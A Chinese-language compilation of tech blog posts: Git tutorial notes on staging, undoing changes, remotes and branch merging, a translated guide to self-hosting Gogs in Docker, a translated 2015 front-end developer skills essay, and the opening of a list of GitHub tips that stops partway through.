详细知识见这篇教程。必须理解暂存区、工作区、版本库。这些都是是Git非常重要的概念，弄明白了这些概念，就弄明白了Git的很多操作到底干了什么。没弄明白的话，请反复看！！

5.管理修改

为什么Git比其他版本控制系统设计得优秀，因为Git跟踪并管理的是修改，而非文件。

什么是修改？比如你新增了一行，这就是一个修改，删除了一行，也是一个修改，更改了某些字符，也是一个修改，删了一些又加了一些，也是一个修改，甚至创建一个新文件，也算一个修改。

通过实例讲解什么叫跟踪修改，要想理解，请参考原文结合暂存区的知识理解：


	vim readme.txt 编辑文件，比如添加新的一行


	git add readme.txt 添加，但是不提交


	vim readme.txt 再编辑文件，比如再添加一行


	git commit -m "修改两次，添一次，提交一次" 提交


	git status 看到的效果是：只提交了第一次的修改，第二次的修改没有提交




那怎么提交第二次修改呢？你可以继续git add再git commit，也可以别着急提交第一次修改，先git add第二次修改，再git commit，也就是第一次修改 -> git add -> 第二次修改 -> git add -> git commit，就相当于把两次修改合并后一块提交了。

6.撤销修改

第一种情况


	修改了readme.txt文件，还没有git add 和git commit


	但是在你提交之前发现这次修改有问题。既然错误发现得很及时，就可以很容易地纠正它。你可以手动把文件恢复到上一个版本的状态。


	git checkout -- readme.txt 也可以通过命令撤销修改，这条命令的意思就是，把readme.txt文件在工作区的修改全部撤销


	无论是文件修改后值存在于工作区还没有放到暂存区，还是已经添加到暂存区，总之这个命令就是让这个文件回到最近一次git commit或git add时的状态。


	查看文件，内容果然复原了。git checkout -- file命令中的--很重要，没有--，就变成了“切换到另一个分支”的命令，我们在后面的分支管理中会再次遇到git checkout命令。




第二种情况


	修改了readme.txt文件，而且执行了git add readme.txt


	庆幸的是你在 git commit 之前发现了这个问题


	git status 查看一下，修改只是添加到了暂存区，还没有提交


	git reset HEAD readme.txt 可以把暂存区的修改撤销掉，重新放回工作区。git reset命令既可以回退版本，也可以把暂存区的修改回退到工作区。当我们用HEAD时，表示最新的版本。


	git status 查看一下，现在暂存区是干净的，工作区有修改


	git checkout -- readme.txt 还记得第一种情况中如何丢弃工作区的修改吧




第三种情况

现在，假设你不但改错了东西，还从暂存区提交到了版本库，怎么办呢？还记得版本回退一节吗？可以回退到上一个版本。不过，这是有条件的，就是你还没有把自己的本地版本库推送到远程。

还记得Git是分布式版本控制系统吗？我们后面会讲到远程版本库，一旦你把错误的修改（如果是影响很大的错误）提交推送到远程版本库，你就真的惨了……

区别对待本地版本库和远程版本库！

7.删除文件

在Git中，删除也是一个修改操作


	添加一个新的文件 test.txt


	git add test.txt


	git commit test.txt -m "再次新增一个文件"


	一般情况下，你通常会在文件管理器中把没用的文件删除，或者直接rm test.txt


	git status 这个时候，Git知道你删除了文件，因此，工作区和版本库就不一致了，git status命令会立刻告诉你哪些文件被删除了


	现在你有两个选择，一是确实从版本库中删除该文件，那就git rm test.txt，然后git commit 文件就从版本库中删除了


	另一种情况是删除错了，因为版本库里还有，所以可以轻松地将误删除的文件恢复到最新版本git checkout -- test.txt git checkout其实使用版本库中的版本替换工作区的版本，无论工作区是修改还是删除，都可以“一键还原”




8.添加远程库

要想学习这部分的知识，请先参考下面的：a.配置连接远程仓库Github。


	假如现在你已经配置好github，并且在github上添加了learngit仓库。


	git remote add origin git@github.com:michaelliao/learngit.git  这个命令是在本地的learngit仓库下执行的，前面通过learngit仓库为例我们已经讲过在本地创建和操作git仓库。这两个地方的仓库名不需要相同，因为会通过在本地的仓库目录下执行这条命令（命令中包含远程库的名字）已经将两者建立了联系


	请千万注意，把上面的michaelliao替换成你自己的GitHub账户名，否则，你在本地关联的就是我的远程库，关联没有问题，但是你以后推送是推不上去的，因为你的SSH Key公钥不在我的账户列表中。


	git push -u origin master 把本地库的所有内容推送到远程库上。把本地库的内容推送到远程，用git push命令，实际上是把当前分支master推送到远程。由于远程库是空的，我们第一次推送master分支时，加上了-u参数，Git不但会把本地的master分支内容推送的远程新的master分支，还会把本地的master分支和远程的master分支关联起来，在以后的推送或者拉取时就可以简化命令。


	然后去Github对应的远程库看看，都已经推送上去了。


	此后，每次本地提交后，只要有必要，就可以使用命令git push origin master推送最新修改。




这样你就可以在Github上托管你的项目代码、vim的配置文件和插件、重要的文档……



现在我的vim的配置文件和插件已经同步到Github上了：https://github.com/xumenger/myVimConfig

另外推荐我的关于vim配置的文章：：http://segmentfault.com/a/1190000003722928

9.从远程库克隆


	假设我的github上面有一个远程库，但是本地没有，需要克隆到本地，远程库的名字叫'gitskills'


	git clone git@github.com:michaelliao/gitskills.git 克隆一个本地库


	cd gitskills 进入克隆下来的本地库，默认的名字是和github上的一样的


	ls -al 可以看到本地的克隆库里面是和远程库里面的一样的


	如果有多个人协作开发，那么每个人各自从远程克隆一份就可以了。




你也许还注意到，GitHub给出的地址不止一个，还可以用https://github.com/michaelliao/gitskills.git这样的地址。实际上，Git支持多种协议，默认的git://使用ssh，但也可以使用https等其他协议。

使用https除了速度慢以外，还有个最大的麻烦是每次推送都必须输入口令，但是在某些只开放http端口的公司内部就无法使用ssh协议而只能用https。

10.分支管理

分支在实际中有什么用呢？假设你准备开发一个新功能，但是需要两周才能完成，第一周你写了50%的代码，如果立刻提交，由于代码还没写完，不完整的代码库会导致别人不能干活了。如果等代码全部写完再一次提交，又存在丢失每天进度的巨大风险。

现在有了分支，就不用怕了。你创建了一个属于你自己的分支，别人看不到，还继续在原来的分支上正常工作，而你在自己的分支上干活，想提交就提交，直到开发完毕后，再一次性合并到原来的分支上，这样，既安全，又不影响别人工作。

其他版本控制系统如SVN等都有分支管理，但是用过之后你会发现，这些版本控制系统创建和切换分支比蜗牛还慢，简直让人无法忍受，结果分支功能成了摆设，大家都不去用。

但Git的分支是与众不同的，无论创建、切换和删除分支，Git在1秒钟之内就能完成！无论你的版本库是1个文件还是1万个文件。

11.创建和合并分支

首先教程中会详细讲解分支的原理（分支、指针、工作区……），一定要好好看！！看完之后你才能对你的创建分支和合并分支的操作不只是会用，更能在用的时候没有任何疑惑！反正能学到更多的知识，何乐而不为！

另外推荐这样的博客：使用git和github进行协同开发流程以及我的学习笔记使用git和github管理自己的项目---真实开发环境的策略。

在版本回退里，你已经知道，每次提交，Git都把它们串成一条时间线，这条时间线就是一个分支。截止到目前，我们练习的learngit，只有一条时间线，在Git里，这个分支叫主分支，即master分支。HEAD严格来说不是指向提交，而是指向master，master才是指向提交的，所以，HEAD指向的就是当前分支。

开始实战：


	git checkout -b dev 创建一个新的分支：dev，并且会切换到dev分支。所以这条命令有两个作用。git checkout命令加上-b参数表示创建并切换，相当于以下两条命令：git branch dev 和 git checkout dev


	补充：所有的git管理的项目刚开始时候默认有一条分支：master


	git branch 查看当前所在的分支。git branch命令会列出所有分支，当前分支前面会标一个*号。


	因为切换到dev分支，所以我们现在可以在dev分支上正常提交，比如对readme.txt做一个修改


	git add readme.txt


	git commit -m "提交到dev分支"


	git checkout master 现在，dev分支的工作完成，我们就可以切换回master分支


	*注意:*切换回master分支后，再查看一个readme.txt文件，刚才添加的内容不见了！因为那个提交是在dev分支上，而master分支此刻的提交点并没有变


	git merge dev 这是在master分支上执行的命令，作用是：把dev分支上的工作成果合并到master分支上


	git merge命令用于合并指定分支到当前分支。合并后，再查看readme.txt的内容，就可以看到，和dev分支的最新提交是完全一样的。注意到上面的Fast-forward信息，Git告诉我们，这次合并是“快进模式”，也就是直接把master指向dev的当前提交，所以合并速度非常快。当然，也不是每次合并都能Fast-forward，我们后面会将其他方式的合并。


	git branch -d dev 合并完成之后，可以放心的删除dev分支了


	git branch 删除后，查看branch，只剩下master了




12.解决冲突

教程中有详细的图文说明，很形象，很好！一定要参考！

人生不如意之事十之八九，合并分支往往也不是一帆风顺的。


	git checkout -b feature1 创建新的分支feature1，并且换到这个分支，进行新的实验


	在feature1分支下，假如将readme.txt的最后一行由"test branch" 改为"test feature1"


	git add readme.txt


	git commit -m "在feature1上修改readme.txt的最后一行" 在feature1分支上提交


	git checkout master 切换到master分支。Git还会自动提示我们当前master分支比远程的master分支要超前1个提交。


	在master分支下，假如将readme.txt的最后一行由"test branch" 改为"test master"因为上面的是在feature1上进行的修改，所以切换回master之后，看到的文件并不是在feature1上修改后的文件


	git add readme.txt


	git commit -m "又在master上修改了readme.txt文件"  在master上也提交修改


	现在，master分支和feature1分支各自都分别有新的提交


	git merge feature1 在master分支上执行该命令，与feature1分支合并。这种情况下，Git无法执行“快速合并”，只能试图把各自的修改合并起来，但这种合并就可能会有冲突，果然冲突了！Git告诉我们，readme.txt文件存在冲突，必须手动解决冲突后再提交


	git status git status也可以告诉我们冲突的文件


	这时候使用vim等编辑器打开readme.txt文件可以看到已经在readme.txt文件中将冲突的信息已经添加到里面了，Git用<<<<<<<，=======，>>>>>>>标记出不同分支的内容


	然后我们编辑readme.txt文件，处理冲突，将内容改成我们想要的样子


	git add readme.txt


	git commit -m "解决冲突" 在master上提交


	git log --graph --pretty=oneline --abbrev-commit 用带参数的git log可以看到分支的合并情况。用git log --graph命令可以看到分支合并图。


	git branch -d feature1 最后删除feature分支，完成工作。




2015.09.09 今天就学到这里，实在太晚了，赶紧睡觉，明天还得工作！什么都没有身体重要！
明天继续：分支管理策略

a.配置连接远程仓库Github

首先看这篇文章了解git和SVN的区别，毕竟现在必须在工作中使用的就是SVN，所以还是弄清楚两者的区别。

Git是分布式版本控制系统，同一个Git仓库，可以分布到不同的机器上。怎么分布呢？最早，肯定只有一台机器有一个原始版本库，此后，别的机器可以“克隆”这个原始版本库，而且每台机器的版本库其实都是一样的，并没有主次之分。

实际情况往往是这样，找一台电脑充当服务器的角色，每天24小时开机，其他每个人都从这个“服务器”仓库克隆一份到自己的电脑上，并且各自把各自的提交推送到服务器仓库里，也从服务器仓库中拉取别人的提交。

完全可以自己搭建一台运行Git的服务器，不过现阶段，为了学Git先搭个服务器绝对是小题大作。好在这个世界上有个叫GitHub的神奇的网站，从名字就可以看出，这个网站就是提供Git仓库托管服务的，所以，只要注册一个GitHub账号，就可以免费获得Git远程仓库。

在继续阅读后续内容前，请自行注册GitHub账号。由于你的本地Git仓库和GitHub仓库之间的传输是通过SSH加密的，所以，需要一点设置：


	创建SSH Key。在用户目录下，看看有没有.ssh目录，如果有，再看看这个目录下有没有id_rsa和id_rsa.pub这两个文件，如果已经有了，可直接跳到下一步。如果没有，打开Shell（Windows下打开Git Bash），创建SSH Key，输入命令ssh-keygen -t rsa -C "youremail@example.com",你需要把邮件地址换成你自己的邮件地址，然后一路回车，使用默认值即可，由于这个Key也不是用于军事目的，所以也无需设置密码。如果一切顺利的话，可以在用户主目录里找到.ssh目录，里面有id_rsa和id_rsa.pub两个文件，这两个就是SSH Key的秘钥对，id_rsa是私钥，不能泄露出去，id_rsa.pub是公钥，可以放心地告诉任何人。


	登陆GitHub，打开“Account settings”，“SSH Keys”页面.然后，点“Add SSH Key”，填上任意Title，在Key文本框里粘贴id_rsa.pub文件的内容：



	点“Add Key”，你就应该看到已经添加的Key：





注意现在的Github的页面的布局可能和图片中显示有细小的差别，不过相信你能找到对应的操作！

为什么GitHub需要SSH Key呢？因为GitHub需要识别出你推送的提交确实是你推送的，而不是别人冒充的，而Git支持SSH协议，所以，GitHub只要知道了你的公钥，就可以确认只有你自己才能推送。

当然，GitHub允许你添加多个Key。假定你有若干电脑，你一会儿在公司提交，一会儿在家里提交，只要把每台电脑的Key都添加到GitHub，就可以在每台电脑上往GitHub推送了。

最后友情提示，在GitHub上免费托管的Git仓库，任何人都可以看到喔（但只有你自己才能改）。所以，不要把敏感信息放进去。

如果你不想让别人看到Git库，有两个办法，一个是交点保护费，让GitHub把公开的仓库变成私有的，这样别人就看不见了（不可读更不可写）。另一个办法是自己动手，搭一个Git服务器，因为是你自己的Git服务器，所以别人也是看不见的。这个方法我们后面会讲到的，相当简单，公司内部开发必备。

现在的情景是，你已经在本地创建了一个Git仓库后，又想在GitHub创建一个Git仓库，并且让这两个仓库进行远程同步，这样，GitHub上的仓库既可以作为备份，又可以让其他人通过该仓库来协作，真是一举多得。具体可以见教程。

首先，登陆GitHub，然后，在右上角找到“Create a new repo”按钮，创建一个新的仓库：


在Repository name填入learngit，其他保持默认设置，点击“Create repository”按钮，就成功地创建了一个新的Git仓库：



目前，在GitHub上的这个learngit仓库还是空的，GitHub告诉我们，可以从这个仓库克隆出新的仓库，也可以把一个已有的本地仓库与之关联，然后，把本地仓库的内容推送到GitHub仓库。


 Gogs：可能是比Gitlab更好的选择

作者：江小湖Laker

来源： Gogs：可能是比Gitlab更好的选择



                    

  译者注：看到一篇介绍能简单自建git托管服务的项目—— Gogs ——的文章，感觉这个项目很棒，翻译给大家参考一下。

  这个项目的四位主要开发者都是中国人，该项目今天蝉联 GitHub Go 语言 Trending 第一。(づ￣3￣)づ莫名的自豪感油然而生。希望能有更多优秀的国产项目出现~




Gitlab是一个很棒的Git托管服务，几乎像GitHub一样强大。 但是，有没有能和Gitlab/Github媲美但操作更简单的项目呢？我认为 Gogs 是很好的选择。


简介


现在，GitHub已经成为首选的代码托管平台。 因为它又很多很棒的功能，操作简单，几乎所有的开发者都喜欢它。


同时，谷歌的代码托管项目准备关闭，你可以把项目转移到这里。


但如果你在写Android应用程序，或者正在创建下一个伟大的iOS游戏，或者不想让别人看到你的代码没，该怎么办？


你当然可以购买私人GitHub库，但你肯定更想把资金投资到更紧迫的事情上。


这就是 Gitlab 和 Gogs 这样的软件诞生的原因。


他们提供的服务和GitHub非常相似，不同的是，你可以把项目放在你自己的服务器上，甚至是自己的工作站上。


下面一起来进行更深入的了解。


Gitlab


Gitlab是一个强大的git服务，基本功能和对手GitHub一样。 这是一个成熟的项目和并且在不断更新。





他们最近收购了Gitorius（另一个类似GitHub的服务），所以功能将有望得到扩展（查看有关收购的新闻剪辑）。


以前是手动安装，很耗时间，问题也很多。最近安装过程有所改善。


现在有 Linux DEB／RPM 的安装包可用（称为Omnibus），解决了所有的依赖问题，简化了安装过程。


升级是一个复杂的事情，尤其是从较早的版本升级到最新版，但也没那么复杂。


然而，你可以感受到很多东西是在后台执行的。 你可以运行 Sidekiq、Unicorn、Nginx、Ruby (包括 gems) 和 Gitlab本身。


自定义安装不是那么简单，有很多不确定因素，如果出了什么差错，要自己一个个排查。


输入二进制包


现在，我们有了Gogs。 你所要做的就是运行一个的二进制包。


它是用Go语言写的，能兼容各个系统。


它能运行于 Windows，MAC，Linux，ARM 等。





安装时只需要把压缩包解压到选定的文件夹中。 就是这样。 升级也一样：只要解压压缩包即可。


这就是Go语言二进制开发的美，你可以轻松在多个平台下开发。


Gogs占用资源少，所以它很容易在系统资源上运行（它可以在Raspberry Pi运行）。


你可以用默认的配置运行，或做一些小调整。


默认的配置文件位于安装文件夹的/conf/app.ini，文档建议把自定义配置写到/custom/conf/app.ini，这样升级就不会覆盖配置。


有三个可自定义的东西：



	
库的位置


[repository]
ROOT = !! 库的地址 !!




	
数据库位置


[database]
PATH = !! 数据库地址 !!




	公钥







注意：目前，你需要运行一个SSH服务器（OpenSSH也很好），这和gitlab相同。


比较


让我们比较一下这两个产品。 我将以GitHub作为参考。




	特性
  	Gogs
  	Gitlab
  	Github





	Dashboard & File Browser
  	Y
  	Y
  	Y



	Issue Tracking, Milestones & Commit keywords
  	Y
  	Y
  	Y



	Organizations support
  	N
  	Y
  	Y



	Wiki
  	N
  	Y
  	Y



	Code Review
  	N
  	Y
  	Y



	Code Snippets
  	N
  	Y
  	Y



	Web Hooks
  	Y
  	Y
  	Y



	Git Hooks
  	Y
  	* Enterprise
  	* Enterprise



	LDAP Login
  	Y
  	Y
  	Y



	LDAP Group Sync
  	N
  	* Enterprise
  	* Enterprise



	Branded Login Page
  	N
  	* Enterprise
  	* Enterprise



	Language
  	Go
  	Ruby
  	Ruby



	Platform
  	Cross-Platform
  	Linux
  	* Virtual Machine



	License
  	MIT
  	MIT
  	Proprietary



	Resource Usage
  	Low
  	Medium/High
  	Medium/High





代码审查（拉取请求）可以说是缺失的最重要的功能。 这是 Gogs 在Github issues 里首要问题，Gogs的主要开发者正在尽力开发中。


但总的来说，这是一个功能丰富的、私有的Git托管服务。


运行一个 Gogs docker


我以前描述我如何我的服务器环境docker化，所以我也会把gogs作为Docker容器来运行


让我们一步一步来做。


假设我有一个应用程序的文件在我的服务器根目录/home/kayak/apps，给每个作为Docker容器的应用创建子目录。


下载并解压最新版本gogs。


$ cd /home/kayak/apps
$ wget http://gogs.dn.qbox.me/gogs_v0.5.13_linux_amd64.zip
$ unzip gogs_v0.5.13_linux_amd64.zip
$ rm gogs_v0.5.13_linux_amd64.zip



自定义配置


$ cd gogs
$ mkdir -p custom/conf
$ cd custom/conf
$ nano app.ini
[repository]
ROOT = !! this is the location where you want to keep the repositories !!

[database]
PATH = !! this is the location of your database (sqlite3 by default) !!



注： 你也可以不把gogs作为docker容器，直接运行。


现在让我们创建dockerfile


$ cd /home/kayak/apps/gogs
$ nano Dockerfile

FROM ubuntu:14.04

ENV DEBIAN_FRONTEND noninteractive

RUN sed 's/main$/main universe multiverse/' -i /etc/apt/sources.list && \
    apt-get update && apt-mark hold initscripts && \
    apt-get install -y sudo openssh-server git && \
    apt-get clean

EXPOSE 22 3000

RUN addgroup --gid 501 kayak && adduser --uid 501 --gid 501 --disabled-password --gecos 'kayak' kayak && adduser kayak sudo

WORKDIR /home/kayak
ENV HOME /home/kayak

ENTRYPOINT ["/home/kayak/boot"]



dockerfile是基于最新的Ubuntu LTS版服务器（14.04）。


然后安装 sudo, openssh 和 git，暴露端口22（用于SSH）和3000（给gogs的Web界面）。


另外，我通常会创建一个用户（这里用 kayak），它具有与我的Max box用户相同的UID/GID，以防止访问权限问题。


最后，启动shell脚本运行。


$ touch boot
$ chmod +x boot
$ nano boot
#!/bin/bash

sudo -u kayak -H touch /home/kayak/.ssh/authorized_keys
chmod 700 /home/kayak/.ssh && chmod 600 /home/kayak/.ssh/authorized_keys

# start openssh server
mkdir /var/run/sshd
/usr/sbin/sshd -D &

exec sudo -u kayak /home/kayak/gogs web



这样就运行了ssh守护进程和gogs。现在是以kayak用户运行，这样比用默认的root用户好一些。


建立镜像


$ cd /home/kayak/apps/gogs
$ docker build --rm -t apertoire/gogs .



镜像建立好就可以运行了


$ docker run -d --name gogs \
-v /etc/localtime:/etc/localtime:ro \
-v /home/kayak/apps/gogs:/home/kayak \
-p 62723:22 \
-p 3000:3000 \
apertoire/gogs



可以在命令行查看运行情况。





现在可以打开网页界面，它会显示一个安装页面（首次运行）。





安装完成后，就搭建好一个功能丰富的Gogs了。





总结


Gogs 是一个轻量级的、易于设置、跨平台的Git托管服务，不逊色于 Gitlab 和 GitHub。


虽然不比这二者成熟，但它有很大的潜力。


它是开源的，所以你可以帮助改善它。


我用Gogs取代Gitlab几个月了，感觉不错。


我创建42个库，感觉它的性能非常好。


我绝对推荐Gogs作为你的Git自托管服务。


附该项目在Github上的4位开发者：




	
  	
  	
  	




	无闻Unknwon
  	Liu Peng
  	Lunny Xiao
  	傅小黑







英文原文 Gogs, an alternative to Gitlab

整理编译 SegmentFault


 [ 学习路线 ] 2015 前端(JS)工程师必知必会 (2)

作者：kraaas

来源： [ 学习路线 ] 2015 前端(JS)工程师必知必会 (2)



                    

  转自：前端外刊评论

  非常感谢，翻译的很好，受益很多，转到此处让前端小伙伴们也惊呆下........




上次我写《前端工程师必知必会》已经是三年前了，那是我写过最火的文章了。三年了，我仍然会在Twitter上收到关于这篇文章的消息。


从2012年到现在，一篇文章都没发过让我觉得有点羞羞哒。三年是一段很长的时间，很多东西都发生了改变。2012年，我鼓励同学们去学习浏览器开发者工具和模块化；虽然有很多同学会觉得CSS预编译和客户端模板引擎并不靠谱，但我仍然想要说一说它们；还有JSHint，虽然有#getoffmylawn（滚出我的地盘）的警告，但依然无法阻止JSHint成为一个受欢迎的理念（准确的说，JSLint真的（只是）存在过）。


已经是2015年了，我想写一篇新的，但是当我坐下来开始动笔的时候，想到了两个事情。一，这些东西被称作“必知必会”可能有人会觉得不太公平——如果你已经觉得2012年的那篇文章如此，那本文也是一样的了。也许有同学会说，我们应该把 “足够应付业务需求的技能” 作为 “前端必须掌握的知识”，但考虑到前端行业里也有各种各样的工作可供选择，这么做也只能得到一个并不适合所有人的 “前端基础知识”。对于我来说，我需要的不是工作，我想要的是被邀请去做一份牛逼的工作。我想要的不只是去干活而已，而是想和一群牛逼的人一起做牛逼的事。我不想仅仅满足于用已有的知识来完成现在的工作，而是希望掌握更多的知识来解决未来将会面对的问题。


第二，我现在已经完全把Javascript作为我的核心了：CSS知识只有在必须关注性能问题时才会用到，其他场景已经用的越来越少。我知道有很多牛逼的前端同学并不是这样的，但我也意识到，关注JS的同学和关注CSS的同学之间的距离也越来越远。这可能需要在另起一篇文章来讨论，不过我想说的是，这篇文章中不会有介绍CSS技能标准的内容，因为我还远远没有达到能那么做的水平。


总之，就算这个技能列表并不适合你的前端工作，没关系，不要有压力，地球也不会爆炸。


Javascript


回想2009年，那时候当你知道 HTML5 在2014年才能用的时候，你是不是觉得这辈子基本上都用不到它了？如果是，那么你需要准备好接受进展缓慢但是已经趋于稳定的ES6了，它也是下一代的Javascript（现在叫 ES2015 了，嗯，这名字至少表示今年就能用了）。就我而言，ES6，额，ES2015 无疑是我个人现在最关注的 Javascript 内容。在 ES6 中将会出现一些比较大的变化：类，真正的私有，经过改进更易用的函数和参数设定，可导入的模块，等等等等。那些掌握和理解新的语法的同学以后将会在 JS 社区牛逼闪闪。相关阅读：



	
Understanding ES6，Nicholas Zakas 正在写的书。

	BabelJS，一个可以把你写的 ES6 的代码编译成 ES5 并在现代浏览器中运行的工具。他们也有一个不错的介绍 ES6 的文档。

	
ES6 Rocks，里面有大量的文章探索 ES6 的特性，语义和缺陷。



你也许会问：那我需要成为一个 ES6 专家么？也许现在不需要，但至少你得和你的同事懂的一样多吧？或者比他们稍微多一点？当然，如果能在你的下一个新项目中作为一个娱乐性的技术尝试也是不错的，做好准备肯定没错的，因为我们永远不知道下一刻会发生什么。


先不说新的语言特性，使用回调和 promises 管理异步 Javascript 至少得背的滚瓜烂熟吧。浏览器端应用加载，以及应用间通信策略得形成一套自己的观点吧。而且你应该知道哪种框架最适合你，而不是现在还把时间花在理解各种框架的实现原理和该选择哪种框架上。


模块化和构建工具


毫无疑问，模块化是构建 Web 客户端应用的基石。回到2012年，关于使用哪种模块化（AMD/CommonJS）方案构建浏览器端应用还存在很多争论。而最近慢慢火起来的 UMD 则在保证代码可复用的前提下尝试避免这样的问题。 其实也没什么好争得，毕竟这俩玩意儿之间也就差几个字符吧？


我觉得类似这样的争论其实并不都需要有一个答案，这也是我觉得从2012年到现在我们发生的最大的转变，当然，也许只是我自己这么认为。因为我觉得与其说“我再也不用 AMD 了”之类的话，倒不如多去讨论 “在开发和打包过程中使用 CommonJS 和 npm 遇到的各种难题” 来的更有价值。


虽然很感激 RequireJS 曾经对模块化做出的贡献，不过现在我开始有点迷恋 webpack 了。 webpack 的构建配置比 RequireJS 更加易于理解，也更具访问性。通过它的热插拔特性和内置的本地静态服务器可以让发布更加便捷。它并不强制要求使用 AMD 或者 CommonJS – 两个它都支持。它还实现了一大堆加载器，用来完成常见的繁琐工作。 Browserify 也值得去了解一下，不过我个人认为它比 Webpack 落后很多。一些靠谱的朋友告诉我说 systemjs 也是这个领域的竞争者，不过我还没有用过，而且它的文档烂的我连看都不想看。不过我觉得它的好基友 jspm (包管理器)比较有趣，jspm 可以让你从各种包管理服务器加载你需要的各种组件，(组件必须是符合 ES6, AMD, CommonJS and globals 规范的)，包括 npm, github 等，但是我对于这两个玩意的合体还是有点不太理解。啊，还有，虽然我说了这么多关于模块化之外的内容，但我从来没想过放弃 AMD，我们边走边看吧。


我觉得如果要停止对模块化和构建工具的争论，形成统一的模块化系统，并且在这个系统里面，任何项目的代码都可以共享，而且还不需要 UMD 这样额外的补丁工具，我们还有很长的路要走。理想状况下，ES6 modules 的到来会解决这些问题，不过在这一天到来之前，类似 UMD 之类的转换器会填补这些空缺，不过貌似这样做我们又把事情变得复杂了，好像我们也总喜欢把事情弄得复杂。


与此同时，前端开发人员也需要对构建工具，各种模块化系统有自己的见解和知识储备。不管是好是坏，根据 Javascript 现在的进度，你的模块化策略会对你的项目有比较大的影响。


测试


客户端的代码测试变得越来越普遍，最近也诞生了一些新的测试框架： Karma，Intern 。我发现基于 promise 的 Intern 的异步测试方法相当优雅。不过可能是因为习惯，我大多数情况下还是用 Mocha 写测试用例。


测试的主要障碍其实是前端开发者的代码编写方式。我在2012年发表过一个关于《编写可测试的Javascript》下载地址的演讲，紧接着几个月后又发表了一篇相关的文章。


测试的第二大障碍是工具。Webdriver 是一个艰难而巨大的工作。目前在各个浏览器端做持续集成的 UI 自动化测试基本上是不可能的，更不用说移动端了。我们仍然停留在局限于某一小部分浏览器和设备上做轻量级的自动化功能测试，尽我们所能去研究怎样快速，低成本的进行这种测试的阶段。


如果你对如何改进代码的可测试性感兴趣的话，那么唯一一本最值得看的书是 Working Effectively with Legacy Code （中译版：《修改代码的艺术》。作者 Michael Feathers 定义了“遗留代码”的概念：任何未经测试的代码都是遗留代码。在测试领域，最基本的要素就是上面这句话，尽管你可能不这么认为。


流程自动化


你首先会想到 Grunt，这也是理所当然的。而 Gulp 和 Broccoli 的自动化构建方式也别具匠心。我没用过Broccoli，只玩过Gulp，我也开始意识到Grunt对于依赖其他服务的复杂任务的自动化工作存在局限性，尤其是当这种任务每天需要运行上千次的时候。


Yeoman是在我写完2012年的那篇文章仅仅45天之后发布的，我承认当时我并没有及时去尝试一下。不过最近我开始启动一些新项目，这些新项目有两个特点
a) 这些项目都是从零开始
b) 尝试用一些不同的技术方案，试图通过这种方式找到 Bazaarvoice（提供第三方点评服务）上第三方 JS 应用的规范化的开发方式。
Yeoman 在这两方面做的都很好。一个简单的 yo react-webpack 命令就可以为你初始化好你的项目，然后各种你想要的玩具也都应有尽有：生成测试用例，本地静态服务器，hello world 入门程序，等等等等。如果 React 和 webpack 不是你想要的，也许你会在 Yeoman 的 generators（项目生成器）里面找到一个你想要的，当然，自己自定义一个这样的构建包也是比较容易的。


鉴于 Yeoman 只是一个在项目开始时才会用到的构建工具，并且鉴于我们并不是总是做新项目，所以大多情况下了解一下就够了。除非，你也想去规范整个项目开发过程，那么它可能会更有价值一点。


Broccoli 已经得到了 ember-cli 的采纳，我觉得他们的配对可能会有一个新名字，这样在未来才比较方便和 Grunt /Yeoman 对抗。而 Grunt 和 Yeoman 的开发进度也放缓了，所以未来会发生什么，我们还是静观其变吧。


代码质量


如果你像我一样，一看见违反代码规范的代码时就开始抓狂，那么 JSCS 和
ESLint 就是老天赐给你的礼物，而2012压根就没这些玩意。他们都提供了自定义代码规范的方式，并且可以在代码提交前对你的代码做自动化校验。这让我想起了…


Git


从2012年到现在，github 的使用流程并没有发生很大的变化，比如在 pull request 页面连个分支名都没有（只是恶搞一下）。


你应该非常清楚和流畅地使用功能分支（feature branches）, 使用 rebase 合并别人的代码干活，使用交互式 rebase 命令和 squash 合并提交记录，或者尽可能细颗粒度的划分项目内容，避免引起代码冲突。另一个可用的 Git 工具是钩子，具体而言，就是你可以在 push 前，commit 前，执行你的各种测试用例，检查代码质量。你可以自己写钩子，也可以使用 ghooks ，由于 ghooks 使钩子工作变得非常简单，所以你简直没有理由不用它。


客户端模板


这可能是我在2012年的那篇文章中写的最烂的内容了，某种意义上的“烂”。客户端模板还是很有价值的，而且它已经被内置到 ES2015 里面了，这不仅仅只是一件好事而已。这些年也有一些惨重的教训，不少团队把所有的渲染工作全部丢到浏览器端去做，结果产生了严重的性能问题，所以 “在浏览器端渲染生成所有 HTML” 的做法理所当然的被摒弃了。 而更为聪明的做法则是，把 HTML 生成放在服务器端，或者通过预编译的方式，先将模板做为静态资源储存起来，在需要时快速的编译成 HTML，需要更新时也可以直接在客户端更新模板。


这里会有一些新的展望，不仅是对我自己，也是对所有人，当你在考虑性能问题时，也许没必要把自己完全限定在浏览器范围内。所以，这又让我想起了……


Node


听说你懂 Javascript，那么我觉得你也应该懂 Node，至少在遇到 Node 问题是能帮得上忙的，如果连忙都帮不上，那也至少深入研究一下吧：Node 的文件系统，流，服务器，完全不同于前端的一些开发模式等等。对后端敬而远之只会限制我们前端的发展潜力。


即使你的真实生产环境中后端不用 Node，当你的工作被后端限制或阻碍的时候，Node 也是一个非常有用的工具。最起码，你也应该熟悉怎么去初始化一个 Node 项目，怎么用 Express 搭建服务器设置路由，怎么使用请求模块代理请求。


最后


感谢 Paul, Alex, Adam, Ralph 对本文的 Review，感谢他们毫不吝啬的指出我的不足之处，并给我提了很好的意见。


就这样，祝你好运。也许，三年之后我们会再见。


原文链接: A Baseline for Front-End ‘JS’ Developers: 2015


 关于Git和Github你不知道的十件事

作者：张伯函

来源： 关于Git和Github你不知道的十件事



                    
本文为翻译文章。原文链接：Ten Things You Didn't Know Git And GitHub Could Do



Git 和 GitHub都是非常强大的工具。即使你已经使用他们很长时间，你也很有可能不知道每个细节。我整理了Git和GitHub可能提高日常效率的10个常用技巧。

GitHub

快捷键: t 和 w

在你的源码浏览页面，按t可以快速进入模糊文件名搜索模式：



在你仓库主页，按w可以快速进行分支过滤：



在任意GitHub页面中，按?展示当前页面可用的快捷键：



忽略空格: ?w=1

在任意的diff URL添加?w=1用来整理缩进:



按范围过滤提交记录: master@{time}..master

你可以创建一个对比页面通过使用URL github.com/user/repo/compare/{range}。范围(range)可以是两个SHA例如sha1…sha2或者两个分支名称例如master…my-branch。范围同时也非常智能的支持使用时间作为关注点。你可以通过master@{1.day.ago}…master过滤从昨天开始的提交。例如：链接，https://github.com/rails/rails/compare/master@{1.day.ago}…master显示Rails项目中全部昨天开始的提交记录和变化：



按作者过滤提交记录: ?author=github_handle

